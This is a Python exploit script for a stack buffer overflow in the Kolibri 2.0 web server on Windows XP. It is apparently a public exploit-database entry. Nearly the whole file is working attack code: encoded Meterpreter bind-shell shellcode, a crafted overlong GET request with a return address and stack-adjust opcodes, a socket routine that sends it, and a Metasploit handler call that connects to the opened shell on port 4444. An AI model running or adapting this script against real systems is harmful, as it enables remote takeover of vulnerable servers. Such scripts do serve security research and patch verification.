#!/usr/bin/python # Exploit Title: Kolibri GET request Stack buffer Overflow # Date: 25 April 2014 # Exploit Author: Christian (Polunchis) Ramirez https://intrusionlabs.org # Vendor Homepage: http://www.senkas.com/kolibri/download.php # Version: Kolibri 2.0 # Tested on: Windows XP SP3, Spanish # Thanks:To my wife for putting up with my possessions # Description: # A buffer overflow is triggered when a long GET command is sent to the server. import socket, sys, os, time if len(sys.argv) != 3: print "[*] Uso: %s \n" % sys.argv[0] print "[*] Exploit created by Polunchis" print "[*] https://www.intrusionlabs.com.mx" sys.exit(0) host = sys.argv[1] port = int(sys.argv[2]) #./msfpayload windows/meterpreter/bind_tcp R | ./msfencode -t c -b '\x00\xff\x0a\x0d\x20\x40' shellcode = ( "\x29\xc9\x83\xe9\xb5\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e" "\xaa\x86\x33\x5f\x83\xee\xfc\xe2\xf4\x56\x6e\xba\x5f\xaa\x86" "\x53\xd6\x4f\xb7\xe1\x3b\x21\xd4\x03\xd4\xf8\x8a\xb8\x0d\xbe" "\x0d\x41\x77\xa5\x31\x79\x79\x9b\x79\x02\x9f\x06\xba\x52\x23" "\xa8\xaa\x13\x9e\x65\x8b\x32\x98\x48\x76\x61\x08\x21\xd4\x23" "\xd4\xe8\xba\x32\x8f\x21\xc6\x4b\xda\x6a\xf2\x79\x5e\x7a\xd6" "\xb8\x17\xb2\x0d\x6b\x7f\xab\x55\xd0\x63\xe3\x0d\x07\xd4\xab" "\x50\x02\xa0\x9b\x46\x9f\x9e\x65\x8b\x32\x98\x92\x66\x46\xab" "\xa9\xfb\xcb\x64\xd7\xa2\x46\xbd\xf2\x0d\x6b\x7b\xab\x55\x55" "\xd4\xa6\xcd\xb8\x07\xb6\x87\xe0\xd4\xae\x0d\x32\x8f\x23\xc2" "\x17\x7b\xf1\xdd\x52\x06\xf0\xd7\xcc\xbf\xf2\xd9\x69\xd4\xb8" "\x6d\xb5\x02\xc2\xb5\x01\x5f\xaa\xee\x44\x2c\x98\xd9\x67\x37" "\xe6\xf1\x15\x58\x55\x53\x8b\xcf\xab\x86\x33\x76\x6e\xd2\x63" "\x37\x83\x06\x58\x5f\x55\x53\x63\x0f\xfa\xd6\x73\x0f\xea\xd6" "\x5b\xb5\xa5\x59\xd3\xa0\x7f\x11\x02\x84\xf9\xee\x31\x5f\xbb" "\xda\xba\xb9\xc0\x96\x65\x08\xc2\x44\xe8\x68\xcd\x79\xe6\x0c" "\xfd\xee\x84\xb6\x92\x79\xcc\x8a\xf9\xd5\x64\x37\xde\x6a\x08" "\xbe\x55\x53\x64\xc8\xc2\xf3\x5d\x12\xcb\x79\xe6\x35\xaa\xec" "\x37\x09\xfd\xee\x31\x86\x62\xd9\xcc\x8a\x21\xb0\x59\x1f\xc2" "\x86\x23\x5f\xaa\xd0\x59\x5f\xc2\xde\x97\x0c\x4f\x79\xe6\xcc" "\xf9\xec\x33\x09\xf9\xd1\x5b\x5d\x73\x4e\x6c\xa0\x7f\x87\xf0" "\x76\x6c\x03\xc5\x2a\x46\x45\x33\x5f" ) nop = "A" * 33 + '\x90' * 20 junk = "C" *(515-(len(nop)+len(shellcode))) opcode= "\x83\xc4\x44\x83\xc4\x44\x83\xc4\x44\xff\xe4" eip = '\x63\x46\x92\x7c' #7c86467b 7C924663 call esp buffer = nop + shellcode + junk + eip + opcode + "B" * 60 req = ("GET /" + buffer + " HTTP/1.1\r\n" "Host: " + host + ":" + str(port) + "\r\n" "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; he; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12\r\n" "Connection: keep-alive\r\n\r\n") print " [+] Connecting to %s:%d" % (host, port) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: s.connect((host, port)) print " [+] Sending payload.." + "nop: " + str(len(nop)) + " junk: " + str(len(junk)) + " shellcode: " + str(len(shellcode)) s.send(req) data = s.recv(1024) print " [+] Closing connection.." s.close() print "[+] Exploit Sent Successfully" print "[+] Waiting for 3 sec before spawning shell to " + host + ":4444\r" print "\r" time.sleep(3) os.system("msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/bind_tcp RHOST=192.168.0.106 LPORT=4444 E") print "[-] Connection lost from " + host + ":4444 \r" except: print "[-] Could not connect to " + host + ":4444\r" sys.exit(0)